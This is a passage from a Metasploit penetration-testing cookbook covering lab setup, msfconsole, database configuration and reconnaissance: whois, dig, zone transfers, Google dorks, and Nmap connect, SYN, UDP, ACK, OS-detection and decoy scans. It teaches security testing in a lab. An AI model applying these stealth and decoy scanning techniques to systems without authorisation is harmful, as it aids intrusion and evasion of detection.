running \nmultiple virtual machines.\n3.\t Once the virtual machine (VM) is created, you can use the \"clone\" option. This will \ncreate an exact copy of your VM so in case some failure occurs in your operating VM, \nthen you can switch to the cloned VM without worrying about re-installing it. Also you \ncan use the \"snapshot\" option to save the current state of your VM. Snapshot will \nsave the current working settings of your virtual machine and you can revert back \nto your saved snapshot anytime in the future.\n"
},
{
"page_number": 31,
"text": "Metasploit Quick Tips for Security Professionals\n16\nHow it works...\nBefore you start your virtual machines, there is an important configuration that we will have to \nmake in order to make the two virtual machines communicate with each other. Select one of \nthe virtual machines and click on Settings. Then move to Network settings. In the Network \nadapter, there will be a pre-installed NAT adapter for internet usage of the host machine. \nUnder Adapter 2 select Host only Adapter:\nFollow this process for both the virtual machines. The reason for setting up Host-only adapter \nis to make the two virtual machines communicate with each other. Now, in order to test \nwhether everything is fine, check the IP address of the windows virtual machine by entering \nipconfig in the command prompt. Now ping the Windows machine (using the local IP \naddress obtained from the ipconfig command) from the BackTrack machine to see if it is \nreceiving the packets or not. Follow the vice versa process to crosscheck both the machines.\nThere's more...\nNow let's talk about some other options, or possibly some pieces of general information, \nthat are relevant to this task.\nDisabling the firewall and antivirus protection\nThere can be situations when we may find that while pinging the Windows machine from the \nBackTrack machine the packets are not received. That means the Windows machine is not \n"
},
{
"page_number": 32,
"text": "Chapter 1\n17\nalive. This can possibly be due to the default Windows firewall setting. So, disable the firewall \nprotection and ping again to see if the packets are getting received or not. Also, disable any \nfirewall that may be installed in the virtual machine. \nInstalling virtual box guest additions\nA Virtual box provides an additional installation of add-ons that can improve your virtual usage \nexperience. Some of its key benefits are:\nf\nf\nSeamless mouse movement from host OS to virtual OS\nf\nf\nAutomatic keyboard integration to virtual OS\nf\nf\nBetter screen size\nTo install the guest additions, power on the virtual machine, go to the Device tab and click \non Install guest additions.\nSetting up Metasploit on a virtual machine \nwith SSH connectivity\nIn the previous recipe, we focused on setting up a penetration testing lab on a single machine \nwith the help of virtualization. But there can be serious memory usage concerns while using \nmultiple virtual machines. So, here we will discuss a conservation technique which can be \nreally handy in bad times.\nGetting ready\nAll we need is an SSH client. We will use PuTTY as it is the most popular and free SSH client \navailable for Windows. We will set up an SSH connectivity with the Backtrack machine as it \nhas more memory consumption than the Windows XP machine.\nHow to do it...\n1.\t We will start by booting our BackTrack virtual machine. On reaching the login prompt, \nenter the credentials to start the command line. Now don't start the GUI. Execute any \none of the following commands:\nroot@bt:~# /etc/init.d/start ssh\nroot@bt:~# start ssh\nThis will start the SSH process on the BackTrack machine.\n"
},
{
"page_number": 33,
"text": "Metasploit Quick Tips for Security Professionals\n18\n2.\t Now find the IP address of the machine by entering the following command:\nroot@bt:~# ifconfig\nNote down this IP address.\n3.\t Now start PuTTY on the host operating system. Enter the IP address of the BackTrack \nvirtual machine and enter port 22: \n4.\t Now click on Open to launch the command line. If the connection is successful, you \nwill see the PuTTY command line functioning on behalf of the BackTrack machine. It \nwill ask you to log in. Enter the credentials and enter ifconfig to check if the IP is \nthe same as that of the virtual BackTrack:\n"
},
{
"page_number": 34,
"text": "Chapter 1\n19\nHow it works...\nIn this SSH session we can now interact with the BackTrack virtual machine using PuTTY. As \nthe GUI is not loaded, it reduces the memory consumption by almost half. Also minimizing the \nBackTrack virtual machine will further reduce memory consumption as the Windows operating \nsystem provides less memory share to the processes that are minimized and provides faster \nexecution of those tasks that are running in maximized mode. This will further reduce the \nmemory consumption to some extent.\nBeginning with the interfaces – the \"Hello \nWorld\" of Metasploit\nInterfaces provide a front end for the user to communicate with the software or platform. \nMetasploit has four interfaces namely msfgui, msfweb, msfcli, and msfconsole. It \nis highly recommended that you check out all the interfaces, but here in this book we will \nprimarily focus on the msfconsole interface. It is the most powerful and fully integrated \ninterface among them all.\n"
},
{
"page_number": 35,
"text": "Metasploit Quick Tips for Security Professionals\n20\nGetting ready\nBoot up your operating system on which you have installed Metasploit. If you are using it on a \nvirtual machine then start it.\nHow to do it...\nLaunching msfconsole is an easy task. Follow these steps:\n1.\t For a Windows operating system, you can launch msfconsole by going to Start | \nmetasploit framework | msfconsole.\n2.\t For BackTrack you can browse to Applications | Exploitation tools | Network \nexploitation tools | Metasploit framework | msfconsole.\n3.\t To launch it directly from the terminal add the following command:\nroot@bt:~# cd /pentest/exploits/framework3\n4.\t The working directory will change to framework3. Entering the following command \nwill start our msfconsole:\nroot@bt:/pentest/exploits/framework3# ./msfconsole\nNow, our msfconsole interface is up and running, and ready to receive the commands.\nHow it works...\nMetasploit interfaces extend the base library which enables them to evoke initial \nfunctionalities of the framework. Simple commands, such as setting up exploits and payloads, \nrunning updates, and configuring the database can be executed. Once the process grows \ndeep, the other functional libraries are called accordingly.\nThere's more...\nLet us add some additional stuff that you can perform at this stage with the \nmsfconsole interface.\nSome commands to try out and get started\nHere are some commands that you can try out to explore deeper:\nf\nf\nmsf > ls: The ls command will list all the directories and files that are available. \nYou can further navigate deeper into other directories to explore further.\n"
},
{
"page_number": 36,
"text": "Chapter 1\n21\nf\nf\nmsf > help: This command will list all the available commands for the Metasploit \nframework that we can use. The commands are categorized into core commands \nand database backend commands. The former contains commands which are \ndirectly related to the framework, while the latter provides commands to interact \nwith the database.\nf\nf\nmsf > msfupdate: This command should be used frequently to update the \nframework with the latest exploits, payloads, libraries, and so on.\nSetting up the database in Metasploit\nAn important feature of Metasploit is the presence of databases which you can use to store \nyour penetration testing results. Any penetration test consists of lots of information and can \nrun for several days so it becomes essential to store the intermediate results and findings. \nSo a good penetration testing tool should have proper database integration to store the \nresults quickly and efficiently.\nGetting ready\nMetasploit comes with PostgreSQL as the default database. For the BackTrack machine, we \nhave one more option—MySQL. You can use either of the two databases. Let us first check out \nthe default settings of the PostgreSQL database. We will have to navigate to database.yml \nlocated under opt/framework3/config. To do this, run the following command:\nroot@bt:~# cd /opt/framework3/config\nroot@bt:/opt/framework3/config# cat database.yml\nproduction: \nadapter: postgresql \ndatabase: msf3 \nusername: msf3 \npassword: 8b826ac0 \nhost: 127.0.0.1 \nport: 7175 \npool: 75 \ntimeout: 5\nNotice the default username, password, and default database that has been created. \nNote down these values as they will be required further. You can also change these \nvalues according to your choice as well.\nHow to do it...\nNow our job is to connect the database and start using it. Let us launch the msfconsole \nand see how we can set up the databases and store our results.\n"
},
{
"page_number": 37,
"text": "Metasploit Quick Tips for Security Professionals\n22\nLet us first check the available database drivers.\nmsf > db_driver\n[*]Active Driver: postgresql\n[*]Available: postgresql, mysql\nPostgreSQL is set as the default database. If you want to change the database driver then you \ncan execute the following command:\nMsf> db_driver mysql\n[*]Active Driver: Mysql\nThis will change the active driver to MySQL. In this book, we will primarily be using PostgreSQL \nfor demonstrations.\nRapid7 has dropped the support for MySQL database in the recent \nversions of Metasploit so the db_driver command may not work. \nThe only default driver supported with the framework in that case will \nbe PostgreSQL.\nHow it works...\nTo connect the driver to msfconsle we will be using the db_connect command. \nThis command will be executed using the following syntax:\ndb_connect username:password@hostIP:port number/database_name\nHere we will use the same default values of username, password, database name, and port \nnumber which we just noted down from the database.yml file:\nmsf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3\nOn successful execution of the command, our database is fully configured.\nThere's more...\nLet us discuss some more important facts related to setting up the database.\nGetting an error while connecting the database\nThere are chances of an error while trying to establish the connection. There are two things \nto keep in mind if any error arises:\nf\nf\nCheck the db_driver and db_connect commands and make sure that you are \nusing the correct combination of the database.\n"
},
{
"page_number": 38,
"text": "Chapter 1\n23\nf\nf\nUse start/etc/init.d to start the database service and then try connecting it.\nIf the error still prevails then we can re-install the database and associated libraries using the \nfollowing commands:\nmsf> gem install postgres\nmsf> apt-get install libpq-dev \nDeleting the database\nAt any time, you can drop the database created and start again to store fresh results. \nThe following command can be executed for deleting the database:\nmsf> db_destroy msf3:8b826ac0@127.0.0.1:7175/msf3\nDatabase \"msf3\" dropped.\nmsf>\nUsing the database to store penetration \ntesting results\nLet us now learn how we can use our configured database to store our results of the \npenetration tests.\nGetting ready\nIf you have successfully executed the previous recipe, you are all set to use the database \nfor storing the results. Enter the help command in msfconsole to have a quick look at \nthe important database commands available to us.\nHow to do it...\nLet us start with a quick example. The db_nmap command stores the results of the port scan \ndirectly into the database, along with all relevant information. Launch a simple Nmap scan on \nthe target machine to see how it works:\nmsf > db_nmap 192.168.56.102\n[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-04 20:03 \nIST\n[*] Nmap: Nmap scan report for 192.168.56.102\n[*] Nmap: Host is up (0.0012s latency)\n[*] Nmap: Not shown: 997 closed ports\n[*] Nmap: PORT STATE SERVICE\n"
},
{
"page_number": 39,
"text": "Metasploit Quick Tips for Security Professionals\n24\n[*] Nmap: 135/tcp open msrpc\n[*] Nmap: 139/tcp open netbios-ssn\n[*] Nmap: 445/tcp open microsoft-ds\n[*] Nmap: MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)\n[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds\nAs we can see, Nmap has produced the scan results and it will automatically populate the \nmsf3 database that we are using.\nWe can also use the –oX parameter in the Nmap scan to store the result in XML format. This \nwill be very beneficial for us to import the scan results in other third-party software, such as \nthe Dardis framework which we will be analyzing in our next chapter.\nmsf > nmap 192.168.56.102 –A -oX report\n[*] exec: nmap 192.168.56.102 –A -oX report\nStarting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-05 11:57 IST\nNmap scan report for 192.168.56.102\nHost is up (0.0032s latency)\nNot shown: 997 closed ports\nPORT\t\nSTATE SERVICE\n135/tcp open msrpc\n139/tcp open netbios-ssn\n445/tcp open microsoft-ds\nMAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)\nNmap done: 1 IP address (1 host up) scanned in 0.76 seconds\nHere report is the name of the file where our scanned result will be stored. This will be \nhelpful for us in later recipes of the book.\nHow it works...\nThe db_nmap command creates an SQL query with various table columns relevant to the scan \nresults. Once the scan is complete, it starts storing the values into the database. The flexibility \nto store results in the form of spreadsheets makes it easier to share the results locally or with \nthird-party tools.\nAnalyzing the stored results of the database\nAfter storing the testing results in the database, the next step is to analyze it. Analyzing the \ndata will give us a deeper understanding of our target systems. The results of the database \ncan be kept either for a long time or for a short time storage depending upon the usage.\n"
},
{
"page_number": 40,
"text": "Chapter 1\n25\nGetting ready\nLaunch msfconsole and follow the steps mentioned in the previous recipe to establish the \ndatabase connectivity. We can either use it to store fresh results or analyze the previously \nstored results as well. The XML file for the Nmap scan created in the previous recipe can be \nimported to analyze the previous scan results.\nHow to do it...\nLet us analyze some of the important commands to have a clearer understanding of the \nstored results:\nf\nf\nmsf > hosts: This command will show all the hosts that are available in the \ndatabase. Let us analyze the output of this command:\nThe preceding screenshot snapshot reflects the output of the hosts command. \nAs we can observe, the result of this command is not very clean, as there are lots \nof columns in the table. So we can move ahead and add filters and view only those \ncolumns which we are interested in, as illustrated by the following command : \nmsf > hosts -c address,os_name\nHosts \n===== \n \naddress \t\n os_name \n"
},
{
"page_number": 41,
"text": "Metasploit Quick Tips for Security Professionals\n26\n------- \t ------ \n192.168.56.1 \n192.168.56.101 \n192.168.56.102 Microsoft Windows \n192.168.56.103 Linux\nf\nf\nmsf > services: This is another interesting command that can give us useful \ninformation about the different services running on the target machines:\nmsf > services\nServices \n======== \n \nhost \t port proto name \t\nstate info \n---- \t ---- ----- ---- \t\n----- ---- \n192.168.56.101 111 tcp\t rpcbind \t\nopen \n192.168.56.102 135 tcp\t msrpc \t\nopen \n192.168.56.102 139 tcp\t netbios-ssn open \n192.168.56.102 445 tcp\t microsoft-ds open \n192.168.56.102 135 tcp\t msrpc \t\nopen Microsoft Windows \nRPC\nf\nf\nmsf > vulns: This command lists all the vulnerabilities that exist in the hosts present \nin the database.\nf\nf\nmsf > db_autopwn: This is a powerful command that is used to automate the \nprocess of exploiting the target machines that are available in the database. This \ncommand requires more understanding about the exploitation process so we will \nanalyze this command later.\nHow it works...\nThe analysis process is simple and can be easily filtered to get the desired results. We have \nseen how to read the database output and how we can manage it efficiently. The last two \ncommands, vulns and db_autopwn are post-exploitation commands, which we will deal \nwith in later chapters.\n"
},
{
"page_number": 42,
"text": "2\nInformation Gathering \nand Scanning\nIn this chapter, we will cover:\nf\nf\nPassive information gathering 1.0 – the traditional way\nf\nf\nPassive information gathering 2.0 – the next level\nf\nf\nPort scanning – the Nmap way\nf\nf\nExploring auxiliary modules for scanning\nf\nf\nTarget service scanning with auxiliary modules\nf\nf\nVulnerability scanning with Nessus\nf\nf\nScanning with NeXpose\nf\nf\nSharing information with the Dradis framework\nIntroduction\nInformation gathering is the first basic step towards penetration testing. This step is carried out \nto find out as much information about the target machine as possible. The more information we \nhave, the better will be our chances of exploiting the target. During the information gathering \nphase, our main focus is to collect facts about the target machine, such as the IP address, \navailable services, open ports. This information plays a vital role in the process of penetration \ntesting. There are basically three types of techniques used in information gathering.\nf\nf\nPassive information gathering\nf\nf\nActive information gathering\nf\nf\nSocial engineering\n"
},
{
"page_number": 43,
"text": "Information Gathering and Scanning\n28\nLet us take a quick look at these processes:\nf\nf\nPassive information gathering: This technique is used to gain information about the \ntarget without having any physical connectivity or access to it. This means that we \nuse other sources to gain information about the target like using the whois query, \nNslookup, and so on. Suppose our target is an online web application then a simple \nwhois lookup can provide us a lot of information about the web application, like its \nIP address, its domains, and sub-domains, location of server, hosting server, and so \non. This information can be very useful during penetration testing as it can widen our \ntrack of exploiting the target.\nf\nf\nActive information gathering: In this technique, a logical connection is set up with \nthe target in order to gain information. This technique provides us with the next level \nof information which can directly supplement us in understanding the target security. \nPort scanning; the target is the most widely used active scanning technique in which \nwe focus on the open ports and available services running on the target.\nf\nf\nSocial engineering: This type of information gathering is similar to passive \ninformation gathering, but relies on human error and the information leaked out in \nthe form of printouts, telephone conversations, or incorrect e-mail Ids, and so on. \nThe techniques for utilizing this method are numerous and the ethos of information \ngathering is very different, hence, social engineering is a category in-itself. For \nexample, hackers register domain-names that sound similar with spelling mistakes, \nand set up a mail server to receive such erroneous e-mails. Such domains are known \nas Doppelganger Domains, that is, the evil twin.\nIn this chapter, we will analyze the various passive and active techniques of information \ngathering in detail. In the starting two recipes, we will analyze the most commonly used and \nmost commonly neglected techniques of passive information gathering, and then in later \nrecipes we will focus on gaining information through port scanning. Metasploit has several \nbuilt in scanning capabilities, as well as some third-party tools integrated with it to further \nenhance the process of port scanning. We will analyze both the inbuilt scanners, as well as \nsome of the popular third-party scanners which work over the Metasploit framework. Let us \nmove on to the recipes and start our process of gaining information about our target.\nPassive information gathering 1.0 – the \ntraditional way\nLet us deal with some of the most commonly used techniques for information gathering.\n"
},
{
"page_number": 44,
"text": "Chapter 2\n29\nGetting ready\nwhois, Dig, and Nslookup are the three most basic and simplest steps for gaining initial \ninformation about our target. As both are passive techniques of gaining information, hence \nno connectivity with the target is required. These commands can be executed directly from \nthe terminal of BackTrack. So, launch the terminal window and proceed further.\nHow to do it...\nWe will start our information gathering with a simple whois lookup. whois is an in-built \ncommand in BackTrack so we can directly invoke it from our terminal.\nLet us quickly perform a whois lookup on www.packtpub.com and analyze the output. \nThe output can be big, so here we will only focus on relevant points of the output.\nroot@bt:~# whois www.packtpub.com\t\nDomain Name: PACKTPUB.COM\n Registrar: EASYDNS TECHNOLOGIES, INC.\n Whois Server: whois.easydns.com\n Referral URL: http://www.easydns.com\n Name Server: NS1.EASYDNS.COM\n Name Server: NS2.EASYDNS.COM\n Name Server: NS3.EASYDNS.ORG\n Name Server: NS6.EASYDNS.NET\n Name Server: REMOTE1.EASYDNS.COM\n Name Server: REMOTE2.EASYDNS.COM\n Status: clientTransferProhibited\n Status: clientUpdateProhibited\n Updated Date: 09-feb-2011\n Creation Date: 09-may-2003\n Expiration Date: 09-may-2016\nHere, we can see that a simple whois lookup has revealed some information about the \ntarget website. The information includes the DNS server, creation date, expiration date, \nand so on. As this information has been gathered from a source other than the target, \nit is called a passive information gathering technique.\n"
},
{
"page_number": 45,
"text": "Information Gathering and Scanning\n30\nThe other way of gaining information passively can be by querying the DNS records. The most \ncommon technique is using the dig command, which comes by default in Unix machines. Let \nus analyze a dig query on www.packtpub.com.\nroot@bt:~# dig www.packtpub.com \n; <<>> DiG 9.7.0-P1 <<>> www.packtpub.com \n;; global options: +cmd \n;; Got answer: \n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1583 \n;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 6, ADDITIONAL: 1 \n \n;; QUESTION SECTION: \n;www.packtpub.com. \t\n IN A \n \n;; ANSWER SECTION: \nwww.packtpub.com. 1200 IN CNAME packtpub.com. \npacktpub.com. \t\n 1200 IN A 83.166.169.228 \n \n;; AUTHORITY SECTION: \npacktpub.com. \t\n 1200 IN NS remote1.easydns.com. \npacktpub.com. \t\n 1200 IN NS ns2.easydns.com. \npacktpub.com. \t\n 1200 IN NS ns6.easydns.net. \npacktpub.com. \t\n 1200 IN NS ns3.easydns.org. \npacktpub.com. \t\n 1200 IN NS ns1.easydns.com. \npacktpub.com. \t\n 1200 IN NS remote2.easydns.com. \n \n;; ADDITIONAL SECTION: \nns3.easydns.org. 5951 IN A 64.68.192.10 \n \nQuerying the DNS records has revealed some more information about the target. dig can be \nused to resolve the names of hosts into IP addresses, and in reverse, resolve IP addresses \ninto names. In addition, dig can also be used to gather version information from name \nservers which may be used to aid in exploitation of the host. As we can see in the output, it \nis difficult to identify the primary DNS, or in some cases primary mail server or file hosting \nserver, and so on. This is where Nslookup comes into the picture. Nslookup is almost as \nflexible as dig, but provides a simpler default method of identifying primary hosts, such as \nMail and DNS servers.\nroot@bt:~# nslookup www.packtpub.com \nServer: \t\n 220.226.6.104 \nAddress: 220.226.6.104#53 \n \nNon-authoritative answer: \nwww.packtpub.com canonical name = packtpub.com. \nName: packtpub.com \nAddress: 83.166.169.228\n"
},
{
"page_number": 46,
"text": "Chapter 2\n31\nNslookup has revealed further information about the target, such as its IP address, server IP, \nand so on. These passive techniques can reveal some interesting information about the target \nand can ease our way for penetration testing.\nHow it works...\ndig can be used to find the SPF (Sender Policy Framework) records. SPF records are \nthose records which define the domain's mail sending policy, that is, which servers are \nresponsible for sending mails on its behalf. Incorrect SPF records will always result in \nphishing / spam mails.\nSPF records are published as text format. SPF records are responsible for ensuring that \nthe registered users of a particular domain or partners, of a particular domain, cannot \nbe attacked by phishing mails. Information collected from the dig query can help us in \ndetermining such issues in our target.\nThere's more...\nLet us cover more stuff about passive information gathering.\nUsing third-party websites\nWe have used the in-built command to query about our target and gain information. \nThere is an equally good technique of performing similar operations using websites, \nespecially dedicated for such lookups. These websites can also provide information \nabout the geographical location, contact number, admin e-mails, and so on.\nSome useful links are:\nhttp://who.is\nhttp://www.kloth.net\nPassive information gathering 2.0 – the next \nlevel\nEvery security professional is aware of the information gathering techniques discussed in \nthe previous recipe. But there are some techniques which analysts neglect because of their \nreduced popularity and awareness, but they can produce results as good as the previous \ntechniques. The techniques we will discuss here will involve a deeper analysis of our target, \nthough we will still be using a passive technique. These techniques do not require the use of \nMetasploit, but since information gathering is an important field for penetration testing, we \nwill discuss it here.\n"
},
{
"page_number": 47,
"text": "Information Gathering and Scanning\n32\nGetting ready\nWe will understand three techniques here in this recipe: \nf\nf\nZone transfer: This can be performed using the terminal.\nf\nf\nSMTP header: For this technique, we will require an e-mail that is sent by the target \nto the penetration tester.\nf\nf\nGoogle dork: This is a simple, yet useful, technique of gaining information through \na search engine.\nLet us start with zone transfer.\nHow to do it...\nZone Transfer is a special method used by the DNS server to exchange authoritative records \nfor a domain between multiple servers. This method is responsible for transferring bulk lists of \ndomain information between primary and secondary servers. A misconfigured DNS server can \nrespond to client query and provide information about the queried domain.\nConsider the following example in which a query dig @ns1.example.com example.com \naxfr returns a list of IP addresses and their corresponding host names:\n"
},
{
"page_number": 48,
"text": "Chapter 2\n33\nThis query has identified ten host names, out of which eight unique hosts belong to \nexample.com. We can see that the host names are descriptive enough to give a clear \nunderstanding about the type of service that is running.\nAnalyzing the SMTP header can be another potential source of collecting information about \nthe target. It can provide us with information about the mail server, its IP address, version, \nand so on. The only drawback of this method is that we need an e-mail that is sent from the \ntarget location to analyze it. The following screenshot shows the part of the header of a mail \nsent from the target.\nCareful analysis of the header shows that the IP address of the mail server is \n83.166.169.248. The mail server uses the ESMTP service and the user uses the IMAP \nservice. This additional information can be very useful in further exploring the target.\nThe last technique is using Google dorks. This method can work only in some cases but it \nis worth giving it a try as you never know what secret information it can reveal. Many times \nGoogle crawlers reach certain files or documents that are stored on the target server for \ninternal use, but due to internet access; the crawler indexes the document in the search \nresults. In that case, we can look for such files by using some Google search tricks. The \ncombination of site and filetype in search results can reveal some exciting stuff.\n"
},
{
"page_number": 49,
"text": "Information Gathering and Scanning\n34\nFor example, perform the following search queries in Google:\nf\nf\nwww.target .com filetype:xls\nf\nf\nwww.target.com filetype:pdf\nf\nf\nsite:www.target.com filetype:db\nSimilarly, we can try several different combinations to dig out results from Google search.\nHow it works...\nThe dig query basically returns the data that is provided by the IP or domain owner while it \nis being registered. The zone transfer information is particularly provided to the DNS servers \nin order to build a proper mapping of registered domains. The dig query can help in fetching \nthis information. The SMTP header is the original data body of an e-mail. Since it is the main \ndata representation of e-mails, it contains lots of information about the sender of the e-mail.\nGoogle dorks are nothing but the search results of various files that the Google crawler \nindexes. Once the file has been indexed in a Google search, it can be viewed by using \nsome specific search types.\nThere's more...\nFun with dorks\nwww.jhony.ihackstuff.com is the most comprehensive guide for Google dorks where you \ncan find a complete list of dorks that can reveal lots of hidden information about your target.\nPort scanning – the Nmap way\nPort scanning is an active information gathering technique in which we will now start dealing \nwith our target directly. Port scanning is an interesting process of information gathering. It \ninvolves a deeper search of the target machine. Nmap is the most powerful and preferred \nscanner for security professionals. The usage of Nmap varies from novice to an advanced \nlevel. We will analyze the various scan techniques in detail.\nGetting ready\nStarting nmap from Metasploit is easy. Launch the msf console and type in nmap to display \nthe list of scan options that Nmap provides.\nmsf > nmap\n"
},
{
"page_number": 50,
"text": "Chapter 2\n35\nHow to do it...\nWe will analyse four different types of Nmap scans which can be very helpful during \npenetration testing. Nmap provides lots of different modes for scanning the target machine. \nHere, we will focus on four scan types namely TCP connect scan, SYN stealth scan, UDP \nscan, and ACK scan. The different scan options of Nmap can also be combined in a single \nscan in order to perform a more advanced and sophisticated scan over the target. Let us \nmove ahead and start the scanning process.\nTCP connect [-sT] scan is the most basic and default scan type in Nmap. It follows the three \nway handshake process to detect the open ports on the target machine. Let us perform this \nscan on our target.\nmsf > nmap -sT -p1-10000 192.168.56.102 \n[*] exec: nmap -sT -p1-10000 192.168.56.102 \n \n \nStarting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:03 IST \nNmap scan report for 192.168.56.102 \nHost is up (0.0058s latency).\n \nNot shown: 9997 closed ports\n \nPORT\t\nSTATE SERVICE \n135/tcp open msrpc \n139/tcp open netbios-ssn \n445/tcp open microsoft-ds \nMAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems\nAs we can see, we have passed the –sT parameter which denotes that we want to perform a \nTCP connect scan. The –p parameter shows the range of port numbers that we want to scan. \nTCP connect scan is based on a three way handshake process, hence the results of this scan \nreturned are considered accurate.\nSYN scan [-sS] is considered as a stealth scanning technique, as it never forms a complete \nconnection between the target and the scanner. Hence, it is also called half open scanning. \nLet us analyze a SYN scan on the target.\nmsf > nmap -sS 192.168.56.102 \n[*] exec: nmap -sS 192.168.56.102 \n \n \nStarting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:17 IST \nNmap scan report for 192.168.56.102 \nHost is up (0.0019s latency).\n \nNot shown: 997 closed ports\n"
},
{
"page_number": 51,
"text": "Information Gathering and Scanning\n36\n \nPORT\t\nSTATE SERVICE \n135/tcp open msrpc \n139/tcp open netbios-ssn \n445/tcp open microsoft-ds \nMAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems\nThe –sS parameter will instruct Nmap to perform a SYN scan on the target machine. The \noutput of both TCP connect and the SYN scan are similar in most of the cases, but the only \ndifference lies in the fact that SYN scans are difficult to detect by firewalls and Intrusion \nDetection Systems (IDS). However, modern firewalls are capable enough to catch SYN scans \nas well.\nUDP scan [-sU] is the scanning technique to identify open UDP ports on the target. 0-byte \nUDP packets are sent to the target machine and the recipient of an ICMP port unreachable \nmessage shows that the port is closed, otherwise it is considered open. It can be used in the \nfollowing manner:\nmsf > nmap –sU –p9001 192.168.56.102\nThe following command will check whether the UDP port on 192.168.56.102 is open \nor not. Similarly, we can perform a UDP scan on a complete range of ports by modifying \nthe –p operator.\nACK scan [-sA] is a special scan type which tells which ports are filtered or unfiltered by a \nfirewall. It operates by sending TCP ACK frames to a remote port. If there is no response, then \nit is considered to be a filtered port. If the target returns an RST packet (connection reset), \nthen the port is considered to be an unfiltered port.\nmsf > nmap -sA 192.168.56.102 \n[*] exec: nmap -sA 192.168.56.102 \n \n \nStarting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 00:19 IST \nNmap scan report for 192.168.56.102 \nHost is up (0.0011s latency).\n \nNot shown: 999 filtered ports\n \nPORT \t STATE \t SERVICE \n9001/tcp unfiltered tor-orport\n \nMAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)\nThe preceding output shows the result of an ACK scan performed on the target. The output \nshows that all the ports on the target are filtered, except port number 9001 which is unfiltered. \nThis will help us to find out weak points in our target, as attacking an unfiltered port will have a \nbetter success rate of exploiting the target.\n"
},
{
"page_number": 52,
"text": "Chapter 2\n37\nHow it works...\nGenerally, penetration testers don't stress too much on the scanning process, but a good scan \ncan provide lots of useful results. Since the information collected here will form the basis of \npenetration testing, hence proper knowledge of scan types is highly recommended. Let us \nnow take a deeper look into each of these scan techniques we just learnt.\nThe TCP connect scan is the most basic scanning technique in which a full connection is \nestablished with the port under test. It uses the operating system's network functions to \nestablish connections. The scanner sends a SYN packet to the target machine. If the port is \nopen then it returns an ACK message back to the scanner. The scanner then sends an ACK \npacket back to the target showing the successful establishment of a connection. This is called \na three-way handshake process. The connection is terminated as soon as it is opened. This \ntechnique has its benefits, but it is easily traceable by firewalls and IDS.\nA SYN scan is another type of TCP scan, but it never forms a complete connection with the \ntarget. It doesn't use the operating system's network functions, instead it generates raw IP \npackets and monitors for responses. If the port is open, then the target will respond with \nan ACK message. The scanner then sends an RST (reset connection) message and ends \nthe connection. Hence, it is also called half-open scanning. This is considered as a stealth \nscanning technique as it can avoid raising a flag in some misconfigured firewalls and IDS.\nUDP scanning is a connectionless scanning technique, hence no notification is sent back to \nthe scanner whether the packet has been received by the target or not. If the port is closed, \nthen an ICMP port unreachable message is sent back to the scanner. If no message is \nreceived then the port is reported as open. This method can return false results as firewalls \ncan block the data packets and, hence, no response message will be generated and the \nscanner will report the port as open.\nAn ACK scan has the sole purpose of identifying filtered and unfiltered ports. It is a unique and \nhandy scanning technique which can be helpful in finding weak points in the target system as \nunfiltered ports can be easy targets. But a major disadvantage with an ACK scan is that since \nit never connects with the target, it cannot identify the open ports. The outputs of an ACK scan \nwill only list whether the port is filtered or unfiltered. Combining an ACK scan with other scan \ntypes can make a very stealthy scanning process. \nThere's more...\nLet us cover more about nmap scans and see how we can club different scan types into one.\n"
},
{
"page_number": 53,
"text": "Information Gathering and Scanning\n38\nOperating system and version detection\nThere are some advanced options provided by Nmap, apart from port scanning. These options \ncan help us to gain more information about our target. One of the most widely used options \nis operating system identification [-O]. This can help us in identifying the operating system \nrunning on the target machine. An operating system detection scan output is shown, \nas follows:\nmsf > nmap -O 192.168.56.102 \n[*] exec: nmap -O 192.168.56.102 \n \n \nStarting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:25 IST \nNmap scan report for 192.168.56.102 \nHost is up (0.0014s latency). \n \nMAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) \nDevice type: general purpose\n \nRunning: Microsoft Windows XP|2003\nAs we can see, Nmap has successfully detected the operating system of the target machine. \nThis can ease our task of finding the right exploits according to the operating system of \nthe target.\nThe other widely used Nmap option is version detection [-sV] of different open ports on the \ntarget. It can be mixed with any of the scan types that we saw previously to add an extra bit \nof information of what version of services are running on the open ports of the target.\nmsf > nmap -sT -sV 192.168.56.102 \n[*] exec: nmap -sV 192.168.56.102 \n \nStarting Nmap 5.51SVN ( http://nmap.org ) at 2011-10-19 02:27 IST \nNmap scan report for 192.168.56.102 \nHost is up (0.0011s latency). \nNot shown: 997 closed ports \nPORT\t\n STATE SERVICE \t\n \nVERSION \n135/tcp open msrpc Microsoft Windows RPC \n139/tcp open netbios-ssn \n445/tcp open microsoft-ds Microsoft Windows XP \nMAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems) \nService Info: OS: Windows\nAs we can see, an extra column of Versions has been added in our scan output \nwhich reports about the different versions of services running on the target machine.\n"
},
{
"page_number": 54,
"text": "Chapter 2\n39\nIncreasing anonymity\nIt is very essential to perform scans in an anonymous manner. The firewall and IDS logs \ncan reveal your IP address if you perform a scan without using security measures. One \nsuch feature is provided in Nmap which is called Decoy [-D].\nThe decoy option does not prevent your IP address from getting recorded in the log file of \nfirewalls and IDS, but it does make the scan look scary. It adds other torrents in the log files, \nthus creating an impression that there are several other attackers scanning the machine \nsimultaneously. So, if you add two decoy IP addresses then the log file will show that the \nrequest packets were sent from three different IP addresses, one will be yours and the \nother two will be the fake addresses added by you.\nmsf > nmap -sS 192.168.56.102 -D 192.134.24.34,192.144.56.21\nThe following scan example shows the use of decoy parameter. The IP addresses after the \n-D operator are the fake IP addresses which will also appear in the network log files of the \ntarget machine, along with the original IP address. This process can confuse the network \nadministrators and create suspicion in their mind that all three IP addresses are fake or \nspoofed. But adding too many decoy addresses can affect the scan results, hence one \nshould use a limited number of decoy addresses only.\nExploring auxiliary modules for scanning\nAuxiliary modules are the in-built modules of a 